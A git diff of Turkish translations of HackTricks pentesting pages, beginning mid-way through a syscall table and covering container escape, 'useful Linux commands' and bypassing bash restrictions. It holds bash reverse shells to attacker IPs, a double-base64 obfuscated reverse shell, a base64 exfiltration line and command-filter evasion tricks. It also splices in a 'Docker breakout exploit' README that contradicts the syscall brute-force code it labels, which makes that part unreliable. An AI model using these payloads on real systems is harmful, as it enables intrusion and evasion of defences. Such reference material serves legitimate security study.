| semtimedop | -| 221 | fadvise64 | -| 222 | timer_create | -| 223 | timer_settime | -| 224 | timer_gettime | -| 225 | timer_getoverrun | -| 226 | timer_delete | -| 227 | clock_settime | -| 228 | clock_gettime | -| 229 | clock_getres | -| 230 | clock_nanosleep | -| 231 | exit_group | -| 232 | epoll_wait | -| 233 | epoll_ctl | -| 234 | tgkill | -| 235 | utimes | -| 236 | vserver | -| 237 | mbind | -| 238 | set_mempolicy | -| 239 | get_mempolicy | -| 240 | mq_open | -| 241 | mq_unlink | -| 242 | mq_timedsend | -| 243 | mq_timedreceive | -| 244 | mq_notify | -| 245 | mq_getsetattr | -| 246 | kexec_load | -| 247 | waitid | -| 248 | add_key | -| 249 | request_key | -| 250 | keyctl | -| 251 | ioprio_set | -| 252 | ioprio_get | -| 253 | inotify_init | -| 254 | inotify_add_watch | -| 255 | inotify_rm_watch | -| 256 | migrate_pages | -| 257 | openat | -| 258 | mkdirat | -| 259 | mknodat | -| 260 | fchownat | -| 261 | futimesat | -| 262 | newfstatat | -| 263 | unlinkat | -| 264 | renameat | -| 265 | linkat | -| 266 | symlinkat | -| 267 | readlinkat | -| 268 | fchmodat | -| 269 | faccessat | -| 270 | pselect6 | -| 271 | ppoll | -| 272 | unshare | -| 273 | set_robust_list | -| 274 | get_robust_list | -| 275 | splice | -| 276 | tee | -| 277 | sync_file_range | -| 278 | vmsplice | -| 279 | move_pages | -| 280 | utimensat | -| 281 | epoll_pwait | -| 282 | signalfd | -| 283 | timerfd_create | -| 284 | eventfd | -| 285 | fallocate | -| 286 | timerfd_settime | -| 287 | timerfd_gettime | -| 288 | accept4 | -| 289 | signalfd4 | -| 290 | eventfd2 | -| 291 | epoll_create1 | -| 292 | dup3 | -| 293 | pipe2 | -| 294 | inotify_init1 | -| 295 | preadv | -| 296 | pwritev | -| 297 | rt_tgsigqueueinfo | -| 298 | perf_event_open | -| 299 | recvmmsg | -| 300 | fanotify_init | -| 301 | fanotify_mark | -| 302 | prlimit64 | -| 303 | name_to_handle_at | -| 304 | open_by_handle_at | -| 305 | clock_adjtime | -| 306 | syncfs | -| 307 | sendmmsg | -| 308 | setns | -| 309 | getcpu | -| 310 | process_vm_readv | -| 311 | process_vm_writev | -| 312 | kcmp | -| 313 | finit_module | -| 314 | sched_setattr | -| 315 | sched_getattr | -| 316 | renameat2 | -| 317 | seccomp | -| 318 | getrandom | -| 319 | memfd_create | -| 320 | kexec_file_load | -| 321 | bpf | -| 322 | execveat | -| 323 | userfaultfd | -| 324 | membarrier | -| 325 | mlock2 | -| 326 | copy_file_range | -| 327 | preadv2 | -| 328 | pwritev2 | -| 329 | pkey_mprotect | -| 330 | pkey_alloc | -| 331 | pkey_free | -| 332 | statx | -| 333 | io_pgetevents | -| 334 | rseq | -| 424 | pidfd_send_signal | -| 425 | io_uring_setup | -| 426 | io_uring_enter | -| 427 | io_uring_register | -| 428 | open_tree | -| 429 | move_mount | -| 430 | fsopen | -| 431 | fsconfig | -| 432 | fsmount | -| 433 | fspick | -| 434 | pidfd_open | -| 435 | clone3 | -| 436 | close_range | -| 437 | openat2 | -| 438 | pidfd_getfd | -| 439 | faccessat2 | -| 440 | process_madvise | -| 512 | rt_sigaction | -| 513 | rt_sigreturn | -| 514 | ioctl | -| 515 | readv | -| 516 | writev | -| 517 | recvfrom | -| 518 | sendmsg | -| 519 | recvmsg | -| 520 | execveat | -| 521 | membarrier | -| 522 | userfaultfd | -| 523 | copy_file_range | -| 524 | preadv2 | -| 525 | pwritev2 | -| 526 | pkey_mprotect | -| 527 | pkey_alloc | -| 528 | pkey_free | -| 529 | statx | -| 530 | io_pgetevents | -| 531 | rseq | -| 532 | pidfd_send_signal | -| 533 | io_uring_setup | -| 534 | io_uring_enter | -| 535 | io_uring_register | -| 536 | open_tree | -| 537 | move_mount | -| 538 | fsopen | -| 539 | fsconfig | -| 540 | fsmount | -| 541 | fspick | -| 542 | pidfd_open | -| 543 | clone3 | -| 544 | close_range | -| 545 | openat2 | -| 546 | pidfd_getfd | -| 547 | faccessat2 | -| 548 | process_madvise | - {% endtab %} + +{% tab title="arm64 sistem çağrıları" %} ``` 0x029 -- pivot_root 0x059 -- acct @@ -957,7 +558,30 @@ Bu bölümde, arm64 mimarisinde kullanılan bazı önemli sistem çağrıların 0x111 -- finit_module 0x118 -- bpf ``` -{% tab title="syscall_bf.c" %} +{% endtab %} + +{% tab title="syscall_bf.c" %}Docker Breakout Privilege Escalation +=============================== + +This directory contains a Docker breakout privilege escalation exploit. The exploit leverages a bug in the Linux kernel to escalate privileges from a Docker container to the host. + +### Usage + +Compile the exploit using `gcc`: + +```bash +gcc -o syscall_bf syscall_bf.c +``` + +Run the exploit: + +```bash +./syscall_bf +``` + +### Disclaimer + +This exploit is for educational purposes only. Misuse of this exploit on systems without authorization is illegal. ````c // From a conversation I had with @arget131 // Fir bfing syscalss in x64 @@ -1021,7 +645,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new * [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket) * [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4) -
+
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: @@ -1037,7 +661,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/linux-hardening/useful-linux-commands/README.md b/linux-hardening/useful-linux-commands/README.md index 398463a27..6728afd79 100644 --- a/linux-hardening/useful-linux-commands/README.md +++ b/linux-hardening/useful-linux-commands/README.md @@ -1,28 +1,28 @@ # Faydalı Linux Komutları -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ -Bugün Erişim Alın: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\ +Bugün Erişim Edinin: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! +Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
-## Ortak Bash Komutları +## Ortak Bash ```bash #Exfiltration using Base64 base64 -w 0 file @@ -141,11 +141,11 @@ sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ``` -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ -Bugün Erişim Alın: +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\ +Bugün Erişim Edinin: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -171,21 +171,20 @@ i686-mingw32msvc-gcc -o executable useradd.c ``` ## Greps -`grep` komutu, metin dosyalarında belirli bir deseni aramak için kullanılan güçlü bir arama aracıdır. Aşağıda, `grep` komutunun bazı yaygın kullanımlarını bulabilirsiniz: +### Açıklama +`grep` komutu, metin dosyalarında belirli bir metni aramak için kullanılır. -- **Basit Arama**: `grep 'desen' dosya` komutu, belirli bir deseni içeren satırları bulmak için kullanılır. Örneğin, `grep 'hello' file.txt` komutu, `file.txt` dosyasında "hello" kelimesini içeren satırları bulur. +### Kullanım +```bash +grep "aranacak_metin" dosya_adı +``` -- **Bütün Kelime Araması**: `grep -w 'kelime' dosya` komutu, belirli bir kelimenin tam olarak eşleştiği satırları bulmak için kullanılır. Örneğin, `grep -w 'hello' file.txt` komutu, `file.txt` dosyasında sadece "hello" kelimesini içeren satırları bulur. +### Örnek +```bash +grep "root" /etc/passwd +``` -- **Büyük/Küçük Harf Duyarlılığı**: `grep -i 'desen' dosya` komutu, arama işlemini büyük/küçük harf duyarlılığı olmadan gerçekleştirir. Örneğin, `grep -i 'hello' file.txt` komutu, `file.txt` dosyasında "hello", "Hello" veya "HELLO" gibi farklı büyük/küçük harf kombinasyonlarını içeren satırları bulur. - -- **Satır Numaralarını Gösterme**: `grep -n 'desen' dosya` komutu, eşleşen satırların yanında satır numaralarını da gösterir. Örneğin, `grep -n 'hello' file.txt` komutu, `file.txt` dosyasında "hello" kelimesini içeren satırları ve bu satırların numaralarını bulur. - -- **Birden Fazla Dosyada Arama**: `grep 'desen' dosya1 dosya2` komutu, birden fazla dosyada aynı deseni aramak için kullanılır. Örneğin, `grep 'hello' file1.txt file2.txt` komutu, `file1.txt` ve `file2.txt` dosyalarında "hello" kelimesini içeren satırları bulur. - -- **Dizinlerde Arama**: `grep -r 'desen' dizin` komutu, belirli bir deseni içeren tüm dosyaları ve alt dizinleri arar. Örneğin, `grep -r 'hello' /home/user` komutu, `/home/user` dizininde "hello" kelimesini içeren tüm dosyaları ve alt dizinlerini bulur. - -Bu sadece `grep` komutunun bazı temel kullanımlarıdır. Daha fazla seçenek ve kullanım için `grep` komutunun man sayfasını (`man grep`) inceleyebilirsiniz. +Bu komut, `/etc/passwd` dosyasında "root" kelimesini arar ve eşleşen satırları görüntüler. ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt @@ -267,46 +266,32 @@ egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13 ``` ## Bul -### Description -This command is used to search for files or directories in a specified location. +### `find` -### Syntax -``` -find [path] [options] [expression] +`find` komutu, dosya sisteminizde dosya ve dizinleri aramanıza ve belirli kriterlere göre filtrelemenize olanak tanır. + +#### Kullanım + +```bash +find /path/to/search -name "filename" ``` -### Options -- `-name`: Searches for files or directories with a specific name. -- `-type`: Searches for files or directories of a specific type. -- `-size`: Searches for files of a specific size. -- `-user`: Searches for files or directories owned by a specific user. -- `-group`: Searches for files or directories owned by a specific group. -- `-mtime`: Searches for files or directories modified within a specific time frame. -- `-exec`: Executes a command on each file or directory found. +- `/path/to/search`: Arama yapılacak dizinin yolu +- `-name "filename"`: Aranacak dosya adı -### Examples -1. Search for a file named "passwords.txt" in the current directory: -``` -find . -name passwords.txt +#### Örnekler + +1. `/etc` dizininde `passwd` dosyasını bulma: + +```bash +find /etc -name "passwd" ``` -2. Search for all directories in the "/var/www" directory: -``` -find /var/www -type d -``` +2. `/home` dizininde `.txt` uzantılı dosyaları bulma: -3. Search for files larger than 1MB in the "/home" directory: +```bash +find /home -name "*.txt" ``` -find /home -type f -size +1M -``` - -4. Search for files modified within the last 7 days in the "/tmp" directory and delete them: -``` -find /tmp -type f -mtime -7 -exec rm {} \; -``` - -### Additional Resources -- [Linux find command](https://linux.die.net/man/1/find) ```bash # Find SUID set files. find / -perm /u=s -ls 2>/dev/null @@ -336,20 +321,6 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less ``` ## Nmap arama yardımı - -Nmap, ağ tarama ve keşif aracıdır. Aşağıda, Nmap'in bazı yaygın kullanılan komutlarını ve parametrelerini bulabilirsiniz: - -- `-sn`: Canlı cihazları tespit etmek için ICMP ping taraması yapar. -- `-sS`: TCP SYN taraması yapar. -- `-sU`: UDP taraması yapar. -- `-p`: Belirli bir port veya port aralığını taramak için kullanılır. -- `-O`: Hedef cihazın işletim sistemini tahmin etmek için kullanılır. -- `-A`: İşletim sistemi tahmini, port taraması, hizmet tespiti ve betik taraması gibi bir dizi tarama işlemi gerçekleştirir. -- `-v`: Ayrıntılı çıktı sağlar. -- `-oN`: Çıktıyı normal metin dosyasına kaydeder. -- `-oX`: Çıktıyı XML formatında kaydeder. - -Nmap hakkında daha fazla bilgi için, Nmap'in resmi belgelerine başvurabilirsiniz. ```bash #Nmap scripts ((default or version) and smb)) nmap --script-help "(default or version) and *smb*" @@ -358,86 +329,16 @@ nmap --script-help "(default or version) and smb)" ``` ## Bash -Bash, kısaltması "Bourne Again Shell" olan bir Unix kabuk programıdır. Bash, Linux ve diğer Unix tabanlı işletim sistemlerinde yaygın olarak kullanılan bir kabuktur. Bash, kullanıcıların komutları çalıştırmasına, betikler yazmasına ve sistemle etkileşimde bulunmasına olanak tanır. - -### Temel Komutlar - -- `ls`: Mevcut dizindeki dosya ve dizinleri listeler. -- `cd`: Dizin değiştirir. -- `pwd`: Mevcut çalışma dizinini gösterir. -- `mkdir`: Yeni bir dizin oluşturur. -- `rm`: Dosya veya dizinleri siler. -- `cp`: Dosyaları veya dizinleri kopyalar. -- `mv`: Dosyaları veya dizinleri taşır veya yeniden adlandırır. -- `cat`: Dosyanın içeriğini görüntüler veya dosyaları birleştirir. -- `grep`: Belirli bir metni dosyalarda veya çıktılarda arar. -- `chmod`: Dosya veya dizinlerin izinlerini değiştirir. -- `chown`: Dosya veya dizinlerin sahiplerini değiştirir. -- `chgrp`: Dosya veya dizinlerin gruplarını değiştirir. -- `sudo`: Root (süper kullanıcı) olarak komutları çalıştırır. -- `su`: Kullanıcı hesabını değiştirir. - -### Dosya İşlemleri - -- `touch`: Yeni bir dosya oluşturur veya mevcut bir dosyanın zaman damgasını günceller. -- `cat`: Dosyanın içeriğini görüntüler veya dosyaları birleştirir. -- `head`: Dosyanın başlangıcını görüntüler. -- `tail`: Dosyanın sonunu görüntüler. -- `less`: Dosyanın içeriğini sayfa sayfa görüntüler. -- `wc`: Dosyanın satır, kelime ve karakter sayısını verir. -- `sort`: Dosyanın satırlarını sıralar. -- `uniq`: Dosyanın ardışık tekrarlanan satırlarını kaldırır. -- `cut`: Dosyanın belirli bir bölümünü keser. -- `paste`: Dosyaları birleştirir. -- `diff`: İki dosya arasındaki farkları gösterir. - -### Ağ İşlemleri - -- `ping`: Bir IP adresine veya alan adına ping atar. -- `ifconfig`: Ağ arayüzlerinin yapılandırmasını görüntüler veya değiştirir. -- `netstat`: Ağ bağlantılarını ve bağlantı noktalarını görüntüler. -- `ssh`: Uzak bir sunucuya güvenli bir şekilde bağlanır. -- `scp`: Dosyaları güvenli bir şekilde kopyalar. -- `wget`: İnternet üzerinden dosyaları indirir. -- `curl`: İnternet üzerindeki kaynaklara istek gönderir ve yanıtları alır. - -### Süreç İşlemleri - -- `ps`: Çalışan süreçleri listeler. -- `top`: Sistemdeki süreçleri gerçek zamanlı olarak izler. -- `kill`: Bir süreci sonlandırır. -- `bg`: Bir süreci arka planda çalıştırır. -- `fg`: Bir süreci ön plana alır. -- `nohup`: Bir süreci bağlantıyı kapatmadan arka planda çalıştırır. - -### Diğer Kullanışlı Komutlar - -- `history`: Komut geçmişini görüntüler. -- `alias`: Komutlara takma adlar verir. -- `man`: Bir komutun kullanımını ve belgelerini görüntüler. -- `which`: Bir komutun tam yolunu gösterir. -- `find`: Dosya ve dizinleri arar. -- `tar`: Dosyaları sıkıştırır veya açar. -- `gzip`: Dosyaları sıkıştırır veya açar. -- `sed`: Metin dönüşümleri yapar. -- `awk`: Metin işleme ve raporlama yapar. - -Bu sadece birkaç temel Bash komutudur. Bash hakkında daha fazla bilgi edinmek için `man bash` komutunu kullanabilirsiniz. +## Bash ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` ## Iptables -Iptables, Linux işletim sistemlerinde kullanılan bir güvenlik duvarı aracıdır. İptables, paket filtreleme, ağ adresi çevirme ve ağ adresi ve port tabanlı paket yönlendirme gibi işlevleri gerçekleştirebilir. Aşağıda, Iptables'in temel kullanımı için bazı komutlar bulunmaktadır: +### İptables Hakkında -- `iptables -L`: Mevcut kuralları ve zincirleri listeler. -- `iptables -F`: Tüm kuralları ve zincirleri temizler. -- `iptables -A -p --dport -j `: Belirli bir zincire yeni bir kural ekler. `` zincir adını, `` protokol türünü, `` hedef port numarasını ve `` ise kuralın ne yapacağını belirtir. -- `iptables -D `: Belirli bir zincirden bir kuralı siler. `` zincir adını ve `` ise silinecek kuralın numarasını belirtir. -- `iptables -P `: Belirli bir zincirin varsayılan politikasını ayarlar. `` zincir adını ve `` ise varsayılan politikayı belirtir. - -Daha fazla bilgi için, `man iptables` komutunu kullanabilirsiniz. +İptables, Linux işletim sisteminde güvenlik duvarı kurallarını yapılandırmak için kullanılan bir araçtır. Bu araç, ağ trafiğini kontrol etmek ve yönlendirmek için kullanılır. İptables, paket filtreleme, ağ adresi çevirme ve ağ adresi ve portu değiştirme gibi işlemleri gerçekleştirebilir. Güvenlik duvarı kurallarını yapılandırmak için genellikle komut satırı arayüzü kullanılır. ```bash #Delete curent rules and chains iptables --flush @@ -470,22 +371,22 @@ iptables -P OUTPUT ACCEPT ```
-AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\ -Dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ +[**Trickest**]'i (https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md index 22ccb4a5b..028f5cb55 100644 --- a/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ b/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md @@ -1,28 +1,28 @@ -# Linux Kısıtlamalarını Aşma +# Linux Kısıtlamalarını Atlatma
-AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) öğrenin! +Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın. +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturup otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ +Dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştirmenize** olanak tanıyan [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Ortak Kısıtlamaları Aşma Yöntemleri +## Yaygın Kısıtlamaları Atlatma ### Ters Kabuk ```bash @@ -31,12 +31,6 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)| # echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h ``` ### Kısa Rev shell - -```bash -bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 -``` - -Bu komut, hedef sistemde bir tersine kabuk oluşturur ve bağlantıyı belirtilen IP adresi ve port numarasına yönlendirir. Bu şekilde, saldırgan hedef sistemde komutları çalıştırabilir ve veri alışverişi yapabilir. ```bash #Trick from Dikline #Get a rev shell with @@ -44,25 +38,7 @@ Bu komut, hedef sistemde bir tersine kabuk oluşturur ve bağlantıyı belirtile #Then get the out of the rev shell executing inside of it: exec >&0 ``` -### Yolları Geçme ve Yasaklı Kelimeler - -Bazı durumlarda, hedef sistemdeki kısıtlamaları aşmak için belirli yolları veya yasaklı kelimeleri kullanmanız gerekebilir. İşte bu tür durumlar için bazı yöntemler: - -#### Yolları Geçme - -- **Yol Değiştirme**: Hedef sistemdeki bir komutu, kısıtlamaları aşmak için başka bir yolla çalıştırabilirsiniz. Örneğin, `/bin/bash` yerine `/usr/bin/bash` kullanarak kısıtlamaları atlatabilirsiniz. - -- **Yol Değiştirme İle Komut Çalıştırma**: Hedef sistemdeki bir komutu, kısıtlamaları aşmak için başka bir yolla çalıştırabilirsiniz. Örneğin, `ls` yerine `/bin/ls` kullanarak kısıtlamaları atlatabilirsiniz. - -- **Yol İçeren Komutlar**: Hedef sistemdeki bir komutu, kısıtlamaları aşmak için yol içeren bir komutla çalıştırabilirsiniz. Örneğin, `$(which ls)` kullanarak `ls` komutunu çalıştırabilirsiniz. - -#### Yasaklı Kelimeleri Geçme - -- **Yasaklı Kelimeleri Değiştirme**: Hedef sistemdeki bir komutu, yasaklı kelimeleri değiştirerek çalıştırabilirsiniz. Örneğin, `cat` yerine `c\at` kullanarak yasaklı kelimeyi atlatabilirsiniz. - -- **Yasaklı Kelimeleri İçeren Komutlar**: Hedef sistemdeki bir komutu, yasaklı kelimeleri içeren bir komutla çalıştırabilirsiniz. Örneğin, `$(echo c\at)` kullanarak `cat` komutunu çalıştırabilirsiniz. - -Bu yöntemler, hedef sistemin kısıtlamalarını aşmanıza yardımcı olabilir. Ancak, bu tür işlemleri gerçekleştirirken dikkatli olmalı ve yasalara uygun olarak hareket etmelisiniz. +### Yolları Atlayın ve yasaklı kelimeleri geçin ```bash # Question mark binary substitution /usr/bin/p?ng # /usr/bin/ping @@ -118,16 +94,6 @@ whoa # This will throw an error !-1!-2 # This will execute whoami ``` ### Yasaklı boşlukları atlayın - -Bazı durumlarda, bir komutu çalıştırmak için yasaklanmış karakterlerden kaçınmanız gerekebilir. Bu durumda, yasaklı boşlukları atlamak için aşağıdaki yöntemleri kullanabilirsiniz: - -- **Yatay Tab (Tab)**: Komutu tamamlamak için yatay sekme karakterini kullanabilirsiniz. Örneğin, `ls` komutunu çalıştırmak için `l` harfini yazdıktan sonra yatay sekme karakterini ekleyebilirsiniz. - -- **Dikey Tab (Vertical Tab)**: Dikey sekme karakterini kullanarak yasaklı boşlukları atlayabilirsiniz. Örneğin, `ls` komutunu çalıştırmak için `l` harfini yazdıktan sonra dikey sekme karakterini ekleyebilirsiniz. - -- **Unicode Karakterleri**: Unicode karakterlerini kullanarak yasaklı boşlukları atlayabilirsiniz. Örneğin, `ls` komutunu çalıştırmak için `l` harfini yazdıktan sonra bir Unicode karakteri ekleyebilirsiniz. - -Bu yöntemler, yasaklı boşlukları atlamak için kullanılabilecek bazı basit tekniklerdir. Ancak, her durumda işe yaramayabilir ve kullanılabilirlikleri sistem yapılandırmasına bağlı olabilir. ```bash # {form} {cat,lol.txt} # cat lol.txt @@ -160,135 +126,16 @@ g # These 4 lines will equal to ping $u $u # This will be 